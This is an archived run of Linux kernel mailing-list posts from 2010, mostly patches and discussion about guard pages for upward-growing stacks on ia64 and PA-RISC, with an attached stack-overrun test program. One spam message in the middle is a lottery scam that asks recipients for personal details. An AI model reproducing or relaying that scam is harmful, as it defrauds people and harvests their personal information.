one of my bug fixes (libc changes).

> If all you need is an FTP server, can't you talk to your HP contacts
> and set something up to start holding patches?

I believe that there are copyright issues.  Sadly, my contacts at HP
are now reduced to one.  So, I'm not very hopeful.

At some point, it won't be worthwhile continuing to support parisc
and ia64 within GCC and binutils.  I would judge it takes 500 to a
1000 hours a year to support GCC.  Recently, two GCC bugs appeared
which involved mis-compilation of the compiler.  These are very hard
to track down.  One is still not fixed although the cause of the
bug is known (fwprop).  It breaks hppa64 builds.  I think it could
affect 32-bit as well, and it is likely present in older versions.

Regarding rp3440 firmware, I noticed recently that the pdc firmware
wasn't testing memory correctly and it was disabling DIMMs.  This would
cause restart failures.  So, I updated the firmware to the latest version.
The system seems stable again running a UP kernel.  Haven't had a chance
to test SMP yet.  I suspect that the firmware may have been responsible
for some cache corruption.

On a positive front, squeeze with kde seem to be largely working on my
c3750.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Luck, Tony" <tony.luck@intel.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ia64
Subject: [RFC - PATCH] leave guard page for upwardly growing stacks too
Date: Fri, 20 Aug 2010 10:56:47 -0700
Lines: 70
Approved: news@gmane.org
Message-ID: <4c6ec1df290705bb68@agluck-desktop.sc.intel.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1282327025 24720 80.91.229.12 (20 Aug 2010 17:57:05 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 20 Aug 2010 17:57:05 +0000 (UTC)
Cc: linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
	"Kyle McMartin" <kyle@mcmartin.ca>, "Helge Deller" <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	"Matthew Wilcox" <willy@linux.intel.com>
To: linux-kernel@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 20 19:57:03 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OmVpu-0000FQ-Te
	for glpp-linux-parisc@lo.gmane.org; Fri, 20 Aug 2010 19:57:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752714Ab0HTR4t (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 20 Aug 2010 13:56:49 -0400
Original-Received: from mga02.intel.com ([134.134.136.20]:5563 "EHLO mga02.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752432Ab0HTR4s (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 20 Aug 2010 13:56:48 -0400
Original-Received: from orsmga001.jf.intel.com ([10.7.209.18])
  by orsmga101.jf.intel.com with ESMTP; 20 Aug 2010 10:56:47 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="4.56,240,1280732400"; 
   d="scan'208";a="649710727"
Original-Received: from agluck-desktop.sc.intel.com ([10.3.52.238])
  by orsmga001.jf.intel.com with SMTP; 20 Aug 2010 10:56:47 -0700
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3050 gmane.linux.kernel:1025560 gmane.linux.ports.ia64:21343
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3050>

In commit 320b2b8de12698082609ebbc1a17165727f4c893
   mm: keep a guard page below a grow-down stack segment

we prevented stacks from growing downwards into other vma areas.
But some arhictectures (ia64 and pa-risc) have stacks that
grow upwards. Provide the same protection for them.

Signed-off-by: Tony Luc <tony.luck@intel.com>

---

Pointed out to me by Matthew Wilcox.

DANGER, DANGER - NOT TESTED on pa-risc yet DO NOT APPLY WITHOUT AN ACK FROM PA-RISC LAND!

Are there any other architectures with upward growing stacks?

diff --git a/mm/memory.c b/mm/memory.c
index b6e5fd2..9dcef72 100644
--- a/mm/memory.c
+++ b/mm/memory.c
@@ -2760,21 +2760,35 @@ out_release:
 }
 
 /*
- * This is like a special single-page "expand_downwards()",
- * except we must first make sure that 'address-PAGE_SIZE'
+ * This is like a special single-page "expand_{down|up}wards()",
+ * except we must first make sure that 'address{-|+}PAGE_SIZE'
  * doesn't hit another vma.
  *
  * The "find_vma()" will do the right thing even if we wrap
  */
 static inline int check_stack_guard_page(struct vm_area_struct *vma, unsigned long address)
 {
-	address &= PAGE_MASK;
-	if ((vma->vm_flags & VM_GROWSDOWN) && address == vma->vm_start) {
-		address -= PAGE_SIZE;
-		if (find_vma(vma->vm_mm, address) != vma)
-			return -ENOMEM;
+	struct vm_area_struct *v;
+
+	if (vma->vm_flags & VM_GROWSDOWN) {
+		address &= PAGE_MASK;
+		if (address == vma->vm_start) {
+			address -= PAGE_SIZE;
+			if (find_vma(vma->vm_mm, address) != vma)
+				return -ENOMEM;
 
-		expand_stack(vma, address);
+			expand_stack(vma, address);
+		}
+	} else if (vma->vm_flags & VM_GROWSUP) {
+		address = PAGE_ALIGN(address + 1);
+		if (address == vma->vm_end) {
+			address += PAGE_SIZE;
+			if ((v = find_vma(vma->vm_mm, address)) &&
+				v->vm_start <= address) {
+				return -ENOMEM;
+			}
+			expand_upwards(vma, address);
+		}
 	}
 	return 0;
 }
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: MICROSOFT AWARD <antonio.sardideletto@fastwebnet.it>
Newsgroups: gmane.linux.ports.parisc
Subject: Esteemed Winner
Date: Sun, 22 Aug 2010 19:09:29 +0200 (CEST)
Lines: 15
Approved: news@gmane.org
Message-ID: <17972803.461461282496969116.JavaMail.defaultUser__1426.04459911144$1282497095$gmane$org@defaultHost>
Reply-To: mukcashonlineoffic@w.cn
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1282497095 30631 80.91.229.12 (22 Aug 2010 17:11:35 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 22 Aug 2010 17:11:35 +0000 (UTC)
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Aug 22 19:11:34 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OnE4x-00013C-34
	for glpp-linux-parisc@lo.gmane.org; Sun, 22 Aug 2010 19:11:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751387Ab0HVRLS convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 22 Aug 2010 13:11:18 -0400
Original-Received: from aa013msr.fastwebnet.it ([85.18.95.73]:42515 "EHLO
	aa013msr.fastwebnet.it" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751057Ab0HVRLS convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 22 Aug 2010 13:11:18 -0400
Original-Received: from pr002msr (10.31.174.235) by aa013msr.fastwebnet.it (8.5.016.6)
        id 4C68FDFD01B2B746; Sun, 22 Aug 2010 19:09:29 +0200
X-Originating-IP: 84.254.189.80
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3051
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3051>



Your email address has won =C2=A3980,000.00 GBP, get back to us via ema=
il,with your F
ull Name,Address,Telephone,Occupation,Country.

Contact For Award Recipient
Dr.Arnold Griffin.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Luck, Tony" <tony.luck@intel.com>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH] guard page for stacks that grow upwards
Date: Tue, 24 Aug 2010 09:31:41 -0700
Lines: 107
Approved: news@gmane.org
Message-ID: <4c73f3ed34663af90@agluck-desktop.sc.intel.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1282667533 27509 80.91.229.12 (24 Aug 2010 16:32:13 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 24 Aug 2010 16:32:13 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-ia64@vger.kernel.org
To: "Linus Torvalds" <torvalds@linux-foundation.org>
Original-X-From: linux-ia64-owner@vger.kernel.org Tue Aug 24 18:32:11 2010
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1OnwPw-0003Iz-Gx
	for glpi-linux-ia64-2@lo.gmane.org; Tue, 24 Aug 2010 18:32:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755649Ab0HXQbq (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Tue, 24 Aug 2010 12:31:46 -0400
Original-Received: from mga09.intel.com ([134.134.136.24]:65475 "EHLO mga09.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755636Ab0HXQbm (ORCPT <rfc822;linux-ia64@vger.kernel.org>);
	Tue, 24 Aug 2010 12:31:42 -0400
Original-Received: from orsmga001.jf.intel.com ([10.7.209.18])
  by orsmga102.jf.intel.com with ESMTP; 24 Aug 2010 09:31:41 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="4.56,263,1280732400"; 
   d="scan'208";a="650779377"
Original-Received: from agluck-desktop.sc.intel.com ([10.3.52.238])
  by orsmga001.jf.intel.com with SMTP; 24 Aug 2010 09:31:41 -0700
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:21345 gmane.linux.kernel:1026798 gmane.linux.ports.parisc:3052
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3052>

pa-risc and ia64 have stacks that grow upwards. Check that
they do not run into other mappings.

Signed-off-by: Tony Luck <tony.luck@intel.com>

---

Updated to match the new code - still not tested on pa-risc.
The #ifdefs are ugly - suggestions welcome on how to make
the code prettier.

diff --git a/include/linux/mm.h b/include/linux/mm.h
index 709f672..089d135 100644
--- a/include/linux/mm.h
+++ b/include/linux/mm.h
@@ -1330,7 +1330,7 @@ unsigned long ra_submit(struct file_ra_state *ra,
 
 /* Do stack extension */
 extern int expand_stack(struct vm_area_struct *vma, unsigned long address);
-#ifdef CONFIG_IA64
+#if defined(CONFIG_STACK_GROWSUP) || defined(CONFIG_IA64)
 extern int expand_upwards(struct vm_area_struct *vma, unsigned long address);
 #endif
 extern int expand_stack_downwards(struct vm_area_struct *vma,
diff --git a/mm/memory.c b/mm/memory.c
index 2ed2267..5127b1c 100644
--- a/mm/memory.c
+++ b/mm/memory.c
@@ -2760,29 +2760,43 @@ out_release:
 }
 
 /*
- * This is like a special single-page "expand_downwards()",
- * except we must first make sure that 'address-PAGE_SIZE'
+ * This is like a special single-page "expand_{down|up}wards()",
+ * except we must first make sure that 'address{-|+}PAGE_SIZE'
  * doesn't hit another vma.
- *
- * The "find_vma()" will do the right thing even if we wrap
  */
 static inline int check_stack_guard_page(struct vm_area_struct *vma, unsigned long address)
 {
-	address &= PAGE_MASK;
-	if ((vma->vm_flags & VM_GROWSDOWN) && address == vma->vm_start) {
-		struct vm_area_struct *prev = vma->vm_prev;
+	if (vma->vm_flags & VM_GROWSDOWN) {
+		address &= PAGE_MASK;
+		if (address == vma->vm_start) {
+			struct vm_area_struct *prev = vma->vm_prev;
 
-		/*
-		 * Is there a mapping abutting this one below?
-		 *
-		 * That's only ok if it's the same stack mapping
-		 * that has gotten split..
-		 */
-		if (prev && prev->vm_end == address)
-			return prev->vm_flags & VM_GROWSDOWN ? 0 : -ENOMEM;
+			/*
+			 * Is there a mapping abutting this one below?
+			 *
+			 * That's only ok if it's the same stack mapping
+			 * that has gotten split..
+			 */
+			if (prev && prev->vm_end == address)
+				return prev->vm_flags & VM_GROWSDOWN ? 0 : -ENOMEM;
 
-		expand_stack(vma, address - PAGE_SIZE);
+			expand_stack(vma, address - PAGE_SIZE);
+		}
+	}
+#if defined(CONFIG_STACK_GROWSUP) || defined(CONFIG_IA64)
+	else if (vma->vm_flags & VM_GROWSUP) {
+		address = PAGE_ALIGN(address + 1);
+		if (address == vma->vm_end) {
+			struct vm_area_struct *next = vma->vm_next;
+
+			/* As VM_GROWSDOWN but s/below/above/ */
+			if (next && next->vm_start == address)
+				return next->vm_flags & VM_GROWSUP ? 0 : -ENOMEM;
+
+			expand_upwards(vma, address);
+		}
 	}
+#endif
 	return 0;
 }
 
diff --git a/mm/mmap.c b/mm/mmap.c
index 331e51a..6128dc8 100644
--- a/mm/mmap.c
+++ b/mm/mmap.c
@@ -1716,9 +1716,6 @@ static int acct_stack_growth(struct vm_area_struct *vma, unsigned long size, uns
  * PA-RISC uses this for its stack; IA64 for its Register Backing Store.
  * vma is the last one with address > vma->vm_end.  Have to extend vma.
  */
-#ifndef CONFIG_IA64
-static
-#endif
 int expand_upwards(struct vm_area_struct *vma, unsigned long address)
 {
 	int error;
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ia64
Subject: Re: [PATCH] guard page for stacks that grow upwards
Date: Tue, 24 Aug 2010 09:53:12 -0700
Lines: 25
Approved: news@gmane.org
Message-ID: <AANLkTinQ_0zGJnPHw7AMJ+q+oo4nmA9Z4irw8dqRH9S8@mail.gmail.com>
References: <4c73f3ed34663af90@agluck-desktop.sc.intel.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1282668858 638 80.91.229.12 (24 Aug 2010 16:54:18 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 24 Aug 2010 16:54:18 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-ia64@vger.kernel.org
To: "Luck, Tony" <tony.luck@intel.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 24 18:54:16 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OnwlJ-0005hM-Pg
	for glpp-linux-parisc@lo.gmane.org; Tue, 24 Aug 2010 18:54:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755769Ab0HXQyM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 24 Aug 2010 12:54:12 -0400
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:47096 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755766Ab0HXQyM (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 24 Aug 2010 12:54:12 -0400
Original-Received: from mail-gw0-f46.google.com (mail-gw0-f46.google.com [74.125.83.46])
	(authenticated bits=0)
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id o7OGrchf031955
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=FAIL);
	Tue, 24 Aug 2010 09:53:42 -0700
Original-Received: by gwj17 with SMTP id 17so2599171gwj.19
        for <multiple recipients>; Tue, 24 Aug 2010 09:53:32 -0700 (PDT)
Original-Received: by 10.90.28.1 with SMTP id b1mr4764744agb.92.1282668812812; Tue, 24
 Aug 2010 09:53:32 -0700 (PDT)
Original-Received: by 10.231.39.75 with HTTP; Tue, 24 Aug 2010 09:53:12 -0700 (PDT)
In-Reply-To: <4c73f3ed34663af90@agluck-desktop.sc.intel.com>
X-Spam-Status: No, hits=-4.879 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED,PATCH_SUBJECT_OSDL
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3053 gmane.linux.kernel:1026803 gmane.linux.ports.ia64:21346
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3053>

On Tue, Aug 24, 2010 at 9:31 AM, Luck, Tony <tony.luck@intel.com> wrote:
>
> Updated to match the new code - still not tested on pa-risc.

But the ia64 grows-up case is tested?

> The #ifdefs are ugly - suggestions welcome on how to make
> the code prettier.

One thing I've considered is to get rid of the CONFIG_STACK_GROWSUP
crap entirely in code, and instead just make the VM_GROWSUP #define be
0 for architectures that don't want it. The compiler should then just
automatically remove all the code that says

   if (vma->vm_flags & VM_GROWSUP) {
     ...

and the code would look more straightforward. Hmm?

                    Linus
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Luck, Tony" <tony.luck@intel.com>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: RE: [PATCH] guard page for stacks that grow upwards
Date: Tue, 24 Aug 2010 10:33:02 -0700
Lines: 58
Approved: news@gmane.org
Message-ID: <987664A83D2D224EAE907B061CE93D53015D8130ED@orsmsx505.amr.corp.intel.com>
References: <4c73f3ed34663af90@agluck-desktop.sc.intel.com>
 <AANLkTinQ_0zGJnPHw7AMJ+q+oo4nmA9Z4irw8dqRH9S8@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="_002_987664A83D2D224EAE907B061CE93D53015D8130EDorsmsx505amrc_"
X-Trace: dough.gmane.org 1282671189 11112 80.91.229.12 (24 Aug 2010 17:33:09 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 24 Aug 2010 17:33:09 +0000 (UTC)
Cc: "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	"linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-ia64-owner@vger.kernel.org Tue Aug 24 19:33:08 2010
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1OnxMx-0006Sh-RE
	for glpi-linux-ia64-2@lo.gmane.org; Tue, 24 Aug 2010 19:33:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932137Ab0HXRdG (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Tue, 24 Aug 2010 13:33:06 -0400
Original-Received: from mga02.intel.com ([134.134.136.20]:49073 "EHLO mga02.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932132Ab0HXRdF (ORCPT <rfc822;linux-ia64@vger.kernel.org>);
	Tue, 24 Aug 2010 13:33:05 -0400
Original-Received: from orsmga002.jf.intel.com ([10.7.209.21])
  by orsmga101.jf.intel.com with ESMTP; 24 Aug 2010 10:33:03 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="4.56,263,1280732400"; 
   d="c'?scan'208";a="548282503"
Original-Received: from orsmsx603.amr.corp.intel.com ([10.22.226.49])
  by orsmga002.jf.intel.com with ESMTP; 24 Aug 2010 10:33:03 -0700
Original-Received: from orsmsx505.amr.corp.intel.com ([10.22.226.208]) by
 orsmsx603.amr.corp.intel.com ([10.22.226.49]) with mapi; Tue, 24 Aug 2010
 10:33:03 -0700
Thread-Topic: [PATCH] guard page for stacks that grow upwards
Thread-Index: ActDrPqXu107GN7KSl6/zjIwfd7cUgABHBFQ
In-Reply-To: <AANLkTinQ_0zGJnPHw7AMJ+q+oo4nmA9Z4irw8dqRH9S8@mail.gmail.com>
Accept-Language: en-US
Content-Language: en-US
X-MS-Has-Attach: yes
X-MS-TNEF-Correlator: 
acceptlanguage: en-US
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:21347 gmane.linux.kernel:1026824 gmane.linux.ports.parisc:3054
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3054>

--_002_987664A83D2D224EAE907B061CE93D53015D8130EDorsmsx505amrc_
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

> But the ia64 grows-up case is tested?

Yes. The attached hacky test program reports that the RSE stack
stomps over the mmap'd segment w/o this patch. With it the
program dies with a SIGBUS. Should be easy to adapt to
test on pa-risc (hint, hint to parisc people).

>> The #ifdefs are ugly - suggestions welcome on how to make
>> the code prettier.
>
> One thing I've considered is to get rid of the CONFIG_STACK_GROWSUP
> crap entirely in code, and instead just make the VM_GROWSUP #define be
> 0 for architectures that don't want it. The compiler should then just
> automatically remove all the code that says
>
>   if (vma->vm_flags & VM_GROWSUP) {
>     ...
>
> and the code would look more straightforward. Hmm?

You'd also need some stub declaration for expand_upwards().
But overall that would look cleaner.

-Tony

--_002_987664A83D2D224EAE907B061CE93D53015D8130EDorsmsx505amrc_
Content-Type: text/plain; name="growtest.c"
Content-Description: growtest.c
Content-Disposition: attachment; filename="growtest.c"; size=771;
	creation-date="Tue, 24 Aug 2010 10:26:55 GMT";
	modification-date="Tue, 24 Aug 2010 10:26:55 GMT"
Content-Transfer-Encoding: base64

I2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzeXMvdHlwZXMuaD4KI2luY2x1ZGUgPHN5cy9t
bWFuLmg+CiNpbmNsdWRlIDxzdGRsaWIuaD4KI2luY2x1ZGUgPHVuaXN0ZC5oPgojaW5jbHVkZSA8
c3RyaW5nLmg+Cgp2b2lkIHdhdGNoKGxvbmcgZGVwdGgsIGNoYXIgKm1hcCkKewoJaW50IGk7CgoJ
Zm9yIChpID0gMDsgaSA8IDB4MTAwMDA7IGkrKykgewoJCWlmIChtYXBbaV0pIHsKCQkJcHJpbnRm
KCJGb3VuZCAleCBhdCAlcFxuIiwgbWFwW2ldLCAmbWFwW2ldKTsKCQkJZXhpdCgxKTsKCQl9Cgl9
CglpZiAoKytkZXB0aCAlIDUwMDAgPT0gMCkKCQlwcmludGYoIm5vdyBhdCBzdGFjayBkZXB0aCAl
bGRcbiIsIGRlcHRoKTsKCXdhdGNoKGRlcHRoLCBtYXApOwoKCS8qIHdvbid0IGdldCBoZXJlIC4u
IGJ1dCBzdG9wIGNvbXBpbGVyIGZyb20gZG9pbmcgdGFpbCByZWN1cnNpb24gKi8KCWZvciAoaSA9
IDA7IGkgPCAweDEwMDAwOyBpKyspIHsKCQlpZiAobWFwW2ldKSB7CgkJCXByaW50ZigiRm91bmQg
JXggYXQgJXBcbiIsIG1hcFtpXSwgJm1hcFtpXSk7CgkJCWV4aXQoMSk7CgkJfQoJfQp9CgkKbWFp
bigpCnsKCWNoYXIgKnA7CgoJcCA9IG1tYXAoKHZvaWQgKikweDYwMDgwMDAwMDAwMDAwMDAsIDB4
MTAwMDAsIFBST1RfUkVBRHxQUk9UX1dSSVRFLAoJCU1BUF9BTk9OWU1PVVN8TUFQX1BSSVZBVEUs
IC0xLCAwTCk7CgoJcHJpbnRmKCIlcFxuIiwgcCk7CgltZW1zZXQocCwgJ1wwJywgMHgxMDAwMCk7
CgoJd2F0Y2goMCwgcCk7CgoJcmV0dXJuIDA7Cn0K

--_002_987664A83D2D224EAE907B061CE93D53015D8130EDorsmsx505amrc_--
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ia64
Subject: Re: [PATCH] guard page for stacks that grow upwards
Date: Tue, 24 Aug 2010 10:51:12 -0700
Lines: 42
Approved: news@gmane.org
Message-ID: <AANLkTi=-JRUFH08TYNhB7TyN=YscnNbqwtZ_BwcwKJPS@mail.gmail.com>
References: <4c73f3ed34663af90@agluck-desktop.sc.intel.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1282672311 15788 80.91.229.12 (24 Aug 2010 17:51:51 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 24 Aug 2010 17:51:51 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-ia64@vger.kernel.org
To: "Luck, Tony" <tony.luck@intel.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 24 19:51:48 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Onxez-0006Lo-Nj
	for glpp-linux-parisc@lo.gmane.org; Tue, 24 Aug 2010 19:51:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755806Ab0HXRvo convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 24 Aug 2010 13:51:44 -0400
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:53307 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755791Ab0HXRvn convert rfc822-to-8bit
	(ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 24 Aug 2010 13:51:43 -0400
Original-Received: from mail-yx0-f174.google.com (mail-yx0-f174.google.com [209.85.213.174])
	(authenticated bits=0)
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id o7OHpcND005956
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=FAIL);
	Tue, 24 Aug 2010 10:51:42 -0700
Original-Received: by yxg6 with SMTP id 6so2623945yxg.19
        for <multiple recipients>; Tue, 24 Aug 2010 10:51:32 -0700 (PDT)
Original-Received: by 10.90.84.11 with SMTP id h11mr4909655agb.38.1282672292512; Tue,
 24 Aug 2010 10:51:32 -0700 (PDT)
Original-Received: by 10.231.39.75 with HTTP; Tue, 24 Aug 2010 10:51:12 -0700 (PDT)
